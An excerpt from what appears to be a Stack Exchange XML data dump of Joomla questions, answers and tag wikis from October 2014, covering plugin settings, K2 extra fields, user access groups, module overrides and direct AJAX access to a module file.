  <row Id="4835" PostTypeId="2" ParentId="4832" CreationDate="2014-10-17T13:40:41.823" Score="1" Body="&lt;p&gt;This is an option in the Plugin settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;strong&gt;Extensions&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Plugin Manager&lt;/strong&gt; &gt;&gt; &lt;strong&gt;MovingText&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and there will be an option called &lt;strong&gt;Speed of Text&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default is set to &lt;code&gt;2&lt;/code&gt; so simply change the number. I'm sure a decimal will be allowed too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future, when using extensions, can you please always look at the settings and also read the developer documentation before asking as your question may already have been answered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-10-18T17:56:49.077" LastActivityDate="2014-10-18T17:56:49.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4836" PostTypeId="1" CreationDate="2014-10-17T14:23:29.727" Score="4" ViewCount="1737" Body="&lt;p&gt;Take this scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;K2 Extra fields: from-date, to-date, tax-rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for any single K2 item there will be multiple sets of these extra fields.&#xA;But K2 item shows only 1 set of extra fields and no option to create its array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While create a K2 item there is no option to create another set of the same extra fields for the same K2 item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example this is how i want (multiple sets of extra fields data for the K2 item)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from-date, to-date, tax-rate&#xA;2011 2012 4%&#xA;2012 2013 5%&#xA;2013 2014 5.5%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can this be achieved? Any extension to K2 for some other way.&lt;/p&gt;&#xA;" OwnerUserId="2043" LastEditorUserId="3650" LastEditDate="2016-11-13T11:23:09.240" LastActivityDate="2016-11-13T11:23:09.240" Title="How to create Multiple Sets of K2 Extra Fields for the same K2 item" Tags="|joomla-3.x|k2|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4837" PostTypeId="2" ParentId="4809" CreationDate="2014-10-17T15:21:17.177" Score="2" Body="&lt;p&gt;It might not be the solution you're looking for, but there are &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/multiple-sites&quot; rel=&quot;nofollow&quot;&gt;several Multi Site extensions&lt;/a&gt; that will let you run multiple sites on a single database (and a single Joomla installation). The advantage is the same that you mention: easier to keep everything up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to admit I haven't used any of them myself, as I'm a little concerned about security (one site hacked = all sites hacked), and I personally prefer to keep each Joomla installation on it's own cPanel account, but the idea is very interesting. Some users also mention that it's complicated to configure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, as @Bakual pointed out, I've heard lot's of good words about &lt;a href=&quot;https://watchful.li/&quot; rel=&quot;nofollow&quot;&gt;Watchful.li&lt;/a&gt; when it comes to keeping multiple sites up to date.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-17T15:21:17.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4838" PostTypeId="5" CreationDate="2014-10-17T16:47:54.997" Score="0" Body="&lt;h1&gt;Articles&lt;/h1&gt;&#xA;&lt;h2&gt;Introduction&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;An Article is a piece of content consisting of text (HTML), possibly&#xA;with links to other resources (for example, images). Articles are the&#xA;basic units of information in the content system and the bottom level&#xA;in the content hierarchy. Since Joomla! 2.5 Joomla 2.5, each Article&#xA;is in exactly one Category. A Category can be in another Category&#xA;making it a sub Category. It is also possible to have Uncategorised&#xA;Articles. These articles exist without being associated with any&#xA;Category. &lt;sup&gt;*&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;sup&gt;*&lt;/sup&gt; From &lt;a href=&quot;http://docs.joomla.org/Article&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Documentation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In Joomla, articles are organized in Categories, and each article can only belong to a single category. As of Joomla 1.6 and newer, nested categories are allowed (categories within categories).&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Before Joomla! 2.5 and earlier versions, an Article was the third&#xA;level in the hierarchy Sections → Categories → Articles.&lt;sup&gt;*&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;sup&gt;*&lt;/sup&gt; From &lt;a href=&quot;http://docs.joomla.org/Article&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Documentation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Display&lt;/h2&gt;&#xA;&lt;p&gt;Articles can be displayed in the &lt;code&gt;Component&lt;/code&gt; area of the Joomla template using the component &lt;code&gt;com_content&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Output from any component is loaded in a Joomla template at the location of the following tag:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&amp;quot;component&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Articles can be displayed in several ways, including Single Article, Blog layout, List layout and others. Available options can be found by clicking &lt;kbd&gt;Menu Item Type&lt;/kbd&gt; in the Menu Item Editor.&lt;/p&gt;&#xA;&lt;h2&gt;Overrides&lt;/h2&gt;&#xA;&lt;p&gt;Article display can be overridden by copying the file &lt;code&gt;JOOMLAROOT/components/com_content/views/VIEW-TO-OVERRIDE/tmpl/FILE-TO-OVERRIDE.php&lt;/code&gt; to &lt;code&gt;JOOMLAROOT/templates/YOUR-TEMPLATE/html/com_content/VIEW-TO-OVERRIDE/FILE-TO-OVERRIDE.php&lt;/code&gt;. Then edit this file as needed. &lt;em&gt;Never change Joomla Core files, as these changed might be reverted when updating Joomla.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Other resources&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Article&quot; rel=&quot;nofollow noreferrer&quot;&gt;Article - Joomla! Documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/edition/editors&quot; rel=&quot;nofollow noreferrer&quot;&gt;Article Editors&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;Understanding Output Overrides&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="12352" LastEditDate="2020-07-17T16:01:44.597" LastActivityDate="2020-07-17T16:01:44.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4839" PostTypeId="4" CreationDate="2014-10-17T16:47:54.997" Score="0" Body="This tag is for questions related to Joomla articles and the com_content component." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-10-17T18:17:23.583" LastActivityDate="2014-10-17T18:17:23.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4840" PostTypeId="5" CreationDate="2014-10-17T16:49:53.670" Score="0" Body="&lt;h1&gt;Administrator&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Administrator application&lt;/strong&gt;, also known as the &lt;strong&gt;Back-end&lt;/strong&gt;, &lt;strong&gt;Admin Panel&lt;/strong&gt; or &lt;strong&gt;Control Panel&lt;/strong&gt;, is the interface where administrators and other site officials with appropriate privileges can manipulate the look of a Joomla! powered web site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many tasks which can be done with the administrator interface. You can set up how your web site looks with the Template Manager or completely change a web site's look by changing the template to another template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also add new extensions such as components, languages, modules, and plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default login url for the Admin Site is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;http://www.example.com/administrator&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Documentation:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Portal:Administrators&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Joomla Administrator's Documentation&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="126" LastEditDate="2015-08-21T15:37:02.867" LastActivityDate="2015-08-21T15:37:02.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4841" PostTypeId="4" CreationDate="2014-10-17T16:49:53.670" Score="0" Body="This tag is for questions related to the Administrator application (backend) of a Joomla site. The administrator site can be reached through the URL http://example.com/administrator." OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T15:15:56.763" LastActivityDate="2015-08-21T15:15:56.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4842" PostTypeId="1" AcceptedAnswerId="4849" CreationDate="2014-10-17T16:58:07.707" Score="7" ViewCount="2153" Body="&lt;p&gt;While editing the &lt;a href=&quot;/questions/tagged/articles&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;articles&amp;#39;&quot; rel=&quot;tag&quot;&gt;articles&lt;/a&gt; tag, I read about articles on the &lt;a href=&quot;http://docs.joomla.org/Article&quot;&gt;Joomla! Documentation&lt;/a&gt; site, and noticed this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is also possible to have Uncategorised Articles. These articles&#xA;  exist without being associated with any Category.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My question (maybe not important but nevertheless interesting), is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Joomla Article manager, is the &lt;strong&gt;Uncategorised&lt;/strong&gt; category that can be found in all new Joomla installations a normal category item (simply called &lt;em&gt;Uncategorised&lt;/em&gt;), or is it a special item that is different from normal categories?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-10-17T22:40:19.983" LastActivityDate="2014-10-28T15:01:19.183" Title="Is &quot;Uncategorised&quot; a Category?" Tags="|joomla-3.x|joomla-2.5|content|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4843" PostTypeId="5" CreationDate="2014-10-17T17:03:39.940" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-10-17T17:03:39.940" LastActivityDate="2014-10-17T17:03:39.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4844" PostTypeId="4" CreationDate="2014-10-17T17:03:39.940" Score="0" Body="This tag is for questions pertaining to the measurement or improvement of website speed, by improving content, code, or Joomla settings." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-10-17T18:17:36.337" LastActivityDate="2014-10-17T18:17:36.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4845" PostTypeId="5" CreationDate="2014-10-17T17:05:49.250" Score="0" Body="&lt;h1&gt;User&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This tag shall be used for all questions about users, user management, access levels and other user related topics. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no need to use tags like super-user, admin-user, registered user etc, when the question is about dealing with the user management, ACL etc.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Background info about Joomla Users and ACL:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;*source: &lt;a href=&quot;https://docs.joomla.org/User_Group_Access_levels_explained_in_simple_terms&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/User_Group_Access_levels_explained_in_simple_terms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Access Levels&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Joomla controls access to certain areas and features of a site through use of a basic ACL, or Access Control Level mechanism called Groups. Certain groups have certain access level features and they are directly related to the creation, editing and publishing of content (through the Frontend and Backend interfaces) as well as to access to the Administrative (Backend) interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each group has different levels of access control and once a user is made a member of that group, they inherit those rights. Note that the 'Public Front-end' and 'Public Back-end' groups are merely placeholders at this point in time. They are not valid group selections at this time, but in the future, they will define the default access levels for anonymous users in the Front-end and Back-end systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla ACL has been completely reworked in Joomla 1.6 released in Jan 2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are four (4) Front-end groups available:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Registered&lt;/strong&gt; - This group allows the user to login to the Frontend interface. Registered users can't contribute content, but this may allow them access to other areas, like a forum or download section if your site has one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Author&lt;/strong&gt; - This group allows a user to post content, usually via a link in the User Menu. They can submit new content, select options to show the item on the front page and select dates for publishing but they cannot directly publish any content. When content is submitted by an Author level user, they receive the message, “Thanks for your submission. Your submission will now be reviewed before being posted to the site.” They can edit only their own articles but only when that article has been published and is visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Editor&lt;/strong&gt; - This group allows a user to post and edit any (not just their own) content item from the Frontend. They can also edit content that has not been published. If your site uses the default installation’s menu option “News”, which is a Table List – Content Section type, Editors will see unpublished articles in the list that they can select for editing, where as an Author or Public (unregistered) user will not even see the unpublished items in the list. Still, Editor users cannot, publish or change the publishing status of any articles, even their own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Publisher&lt;/strong&gt; - This group allows a user to post, edit and publish any (not just their own) content item from the Front-end. Publishers can review all articles, edit and change publishing options but the can also determine when an article is ready for publication, making it visible to Registered, Author and the Unregistered Public (depending on what visibility was chosen in the article, of course!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three (3) Administration section groups that allow access to Joomla:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Manager&lt;/strong&gt; - This group allows access to content creation and other system information from the Backend. Think of Manager users as Publishers, with Backend access. They can log in through the Administrator interface, but their rights and access are generally restricted to content management. They can create or edit any content, access to some Backend only features like adding, deleting and editing Sections and Categories, editing the Front Page and Menus, but they don’t have any access to the “Mechanics” of Joomla, like user management or the ability to install components or modules. Note that if a Manager logs in through the Frontend interface, they’re treated just like a Publisher, with the same rights and access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Administrator&lt;/strong&gt; - This group allows access to most administration functions. An Administrator user has all the privileges on the back end of a Manager, but they also have access to set options on, and install/delete components, modules and bots, User Manager access and can view the site statistics. What they cannot do however is change, edit or install Site Templates or make any changes to the sites Global configuration options. On login through the Frontend, they are treated as Publishers, just like the Manger users. Interesting to note; when an Administrator accesses the User Manager list, they will see all users at their access level or below; in other words they can modify any user EXCEPT a Super Administrator – in fact, they will not even see Super Administrator accounts in the list! Also, they cannot create additional Super Administrator level accounts, only a Super Admin can do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Super Administrator&lt;/strong&gt; - This group allows access to all administration functions. Only another Super Administrator can create or edit a Super Administrator user account. Full access to ALL AREAS is given to Super Administrators, and once created they cannot be as easily deleted. It might not be obvious, but you have to change the user's group to something other than Super Administrator first. Then you can delete them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this, give a bit of thought to who you need to grant this highest level of access to. Super Admins can block the user from logging in or change the password on another SA account. Like the other Backend user accounts, SA’s are treated as Publishers when they login through the Frontend interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More Resources:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="126" LastEditDate="2015-08-21T15:43:47.153" LastActivityDate="2015-08-21T15:43:47.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4846" PostTypeId="4" CreationDate="2014-10-17T17:05:49.250" Score="0" Body="This tag is for questions about users, user management, access levels and other user related topics." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-10-17T18:17:12.577" LastActivityDate="2014-10-17T18:17:12.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4847" PostTypeId="5" CreationDate="2014-10-17T17:08:59.210" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-10-17T17:08:59.210" LastActivityDate="2014-10-17T17:08:59.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4848" PostTypeId="4" CreationDate="2014-10-17T17:08:59.210" Score="0" Body="For questions about configuration and usage of a Joomla website with multiple languages." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-10-17T18:17:19.817" LastActivityDate="2014-10-17T18:17:19.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4849" PostTypeId="2" ParentId="4842" CreationDate="2014-10-17T17:29:15.927" Score="3" Body="&lt;p&gt;As best as I've been able to tell, it's simply another category.  I've used it as such in the past with no ill consequence, and there doesn't appear to be any core code that does anything special with it.  The database structure for it, and any contained articles seems to be identical, and appears on any pages as such.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-10-17T17:29:15.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4850" PostTypeId="2" ParentId="2393" CreationDate="2014-10-17T18:27:10.310" Score="1" Body="&lt;p&gt;Part of your problem might be that Viewing levels are 'implicit'.  So it depends on which parent level you used when creating the View Level.  Suppose for example you created a View Level 'MyPub'  with parent 'Publisher'.  Anyone in a group assigned to 'MyPub' would also see items with View Levels Publisher, Editor, Author, Registered and Public. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no way of switching this 'inclusiveness' off for View Levels. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the usual default when you create a User Group is that you also get to be implicitly a member of the parent  chain of groups.  For groups this can be switched off with a call to the relevant core function but I do not know of any component, module or plugin that makes use of explicit or implicit group membership.  &lt;/p&gt;&#xA;" OwnerUserId="2040" LastActivityDate="2014-10-17T18:27:10.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4851" PostTypeId="2" ParentId="4842" CreationDate="2014-10-17T22:18:20.880" Score="3" Body="&lt;p&gt;'Uncategorised' is the default article category. There's nothing special about it, it behaves like any other category, and you can rename it or delete it (providing any articles it contains are re-assigned) if you want.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-10-17T22:18:20.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4854" PostTypeId="2" ParentId="4825" CreationDate="2014-10-18T05:36:34.153" Score="1" Body="&lt;p&gt;The cache directory was getting deleted frequently so a directory under root folder named &quot;cache&quot; and give it directory permission of 755 and enable the progressive caching for it.took one day but finally got it.&lt;/p&gt;&#xA;" OwnerUserId="411" LastActivityDate="2014-10-18T05:36:34.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4855" PostTypeId="2" ParentId="4802" CreationDate="2014-10-18T06:42:22.123" Score="2" Body="&lt;p&gt;I m just trying to answer. You can try  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;order('c.lft,c.name ASC'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you can provide the Complete Query or code then you might get the exact answer.&lt;/p&gt;&#xA;" OwnerUserId="1681" LastActivityDate="2014-10-18T06:42:22.123" CommentCount="3" CommunityOwnedDate="2014-10-18T06:42:22.123" ContentLicense="CC BY-SA 3.0" />
  <row Id="4856" PostTypeId="1" AcceptedAnswerId="4857" CreationDate="2014-10-18T09:12:10.930" Score="3" ViewCount="822" Body="&lt;p&gt;I'm trying to understand how to override the helper.php found in &lt;em&gt;/joomla_site/modules/mod_k2_tools&lt;/em&gt; because it is not a component but a module, and it is not the controller, because the controller is mod_k2_tools.php. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that above is right, then I have no idea how to override the helper.php to change the functionily of the K2 calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read &lt;a href=&quot;https://joomla.stackexchange.com/questions/205/how-to-override-core-classes&quot;&gt;How to override core classes&lt;/a&gt;, and followed the example &lt;a href=&quot;http://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to override the component mvc from the Joomla! core&lt;/a&gt;. However, nothing changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before started with the override, I directly modified the &lt;em&gt;/joomla_site/modules/mod_k2_tools/helper.php&lt;/em&gt; to get the functionality I was looking for and as it worked, I decided starting with the override issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the plugin that we must create, in the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if('com_content' == JRequest::getCMD('option') &amp;amp;&amp;amp; !$app-&amp;gt;isAdmin())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;com_content&lt;/code&gt; makes reference to the content component, so, it should be replace by the 'mod_k2_tools` string, right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the helper.php be overridden? Any guidance on what to check or pointing to a new beginning?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;code&gt;Joomla! 2.5.27&lt;/code&gt;, and &lt;code&gt;K2 2.6.8&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1991" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-10-19T19:21:23.000" Title="How to override the mod_k2_tools helper function?" Tags="|joomla-2.5|module|overrides|k2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4857" PostTypeId="2" ParentId="4856" CreationDate="2014-10-18T12:29:09.533" Score="3" Body="&lt;p&gt;Firstly, not everything can be overriden, sometimes you can just create your own &lt;strong&gt;mod_myk2_tools&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, a feature can be overriden only if it is instantiated with a dynamic loading mechanism. This kind of technique checks if a resourse is already loaded before loading, allowing to load it before. In mod_k2_tools module, the helper is just included in this basic PHP way: &quot;require_once (dirname(&lt;strong&gt;FILE&lt;/strong&gt;).DS.'helper.php');&quot;. &lt;em&gt;It is not possible to override it.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2014-10-19T19:21:23.000" LastActivityDate="2014-10-19T19:21:23.000" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4861" PostTypeId="1" AcceptedAnswerId="4863" CreationDate="2014-10-19T02:30:03.607" Score="8" ViewCount="4891" Body="&lt;p&gt;This is my first time ever in PHP and my first time ever with Joomla. I come from a heavy non-Web C# / .Net background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have written a custom Joomla module that interacts with a third party WebService via nuSoap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all works great if I just run the .php files in my own non-Joomla PHP environment in my dev machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I if understand correctly, Joomla blocks all requests to everything except &lt;code&gt;index.php&lt;/code&gt;, is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I allow direct access to my own .php file?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is an example of how I'm requesting it from client-side javascript using jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.ajax({&#xA;     url: 'MyFile.php',&#xA;     type: 'POST',&#xA;     data: { ... },&#xA;     success: function(data, status) {&#xA;          ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where MyFile.php is currently located physically at &lt;code&gt;/htdocs/modules/mod_mymodule/MyFile.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that allowing direct requests to this file might present a security risk, however I need to get this running ASAP and I'll take care of security concerns at a later moment.&lt;/p&gt;&#xA;" OwnerUserId="2050" LastActivityDate="2014-10-20T10:49:41.667" Title="How do I allow direct access to my custom .php file in a Joomla Module to be consumed from AJAX?" Tags="|module|.htaccess-configuration|redirect|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4862" PostTypeId="1" CreationDate="2014-10-19T09:32:11.920" Score="1" ViewCount="137" Body="&lt;p&gt;Using this Joomla Attachment plugin: &lt;a href=&quot;http://jmcameron.net/attachments/&quot; rel=&quot;nofollow&quot;&gt;http://jmcameron.net/attachments/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When used &lt;code&gt;&amp;amp;format=raw&lt;/code&gt; in the url params to view an article the output only shows the details of the article and its categories and nothing about the Attachments that we have attached to that article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we get the list of attachments too in the raw format display? Name of the attached file or full url.&lt;/p&gt;&#xA;" OwnerUserId="2043" LastEditorUserId="3650" LastEditDate="2016-03-06T21:53:44.647" LastActivityDate="2016-03-06T21:53:44.647" Title="How to get Attachments list for an article view in format=raw output" Tags="|format|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4863" PostTypeId="2" ParentId="4861" CreationDate="2014-10-19T16:10:09.820" Score="5" Body="&lt;p&gt;Typically the only thing preventing direct access to a joomla file is a line at the top of the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that is not already at the top of the file, then you should have no trouble just accessing the file directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The htaccess file redirect already has conditions to not redirect if the file or folder exists:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it didn't, you wouldn't be able to load any javascript or css files!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So really all you actually need to do is remove that line from the top of the file and you should be able to access the file directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest thing to note is that none of the Joomla classes will be loaded, so you have to run this file as a stand-alone file (which you are already doing.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I'm aware, there should be no inherent security risk in accessing a php file directly, as long as that is the intended behavior. Since the majority of files in Joomla assume that they will not be accessed directly, it is best to block that direct access. In your case, you intend that code to be directly accessed, so no inherent risk. You might have other security risks by accepting POST data and not properly filtering it or such (which is easier if you let Joomla do it for you), but that is unrelated to whether the file is directly accessed or not.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-10-19T16:10:09.820" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4864" PostTypeId="1" AcceptedAnswerId="4865" CreationDate="2014-10-19T18:33:23.287" Score="1" ViewCount="923" Body="&lt;p&gt;Recently my client told me all of a sudden his website started loading slowly. When I checked out with pingdom tools, I realized it is taking exactly 60 seconds to load. Changed the template to another one, still the same thing, and disabled all modules, cleared cache, and still the same thing. THe only thing I hven't done yet was to disable all plugins, because he's got too many plugins, anyway, I believe it is not the plugins, as the page load is happening only in the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here &lt;a href=&quot;http://tools.pingdom.com/fpt/#!/ePSOQN/http://www.grupoagilisa.com.br&quot; rel=&quot;nofollow&quot;&gt;http://tools.pingdom.com/fpt/#!/ePSOQN/http://www.grupoagilisa.com.br&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.grupoagilisa.com.br&quot; rel=&quot;nofollow&quot;&gt;http://www.grupoagilisa.com.br&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on it right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: My bad, the problem also happens in the other pages.&lt;/p&gt;&#xA;" OwnerUserId="2055" LastActivityDate="2014-10-19T18:38:46.340" Title="Webdesite taking too long to load all of a sudden" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
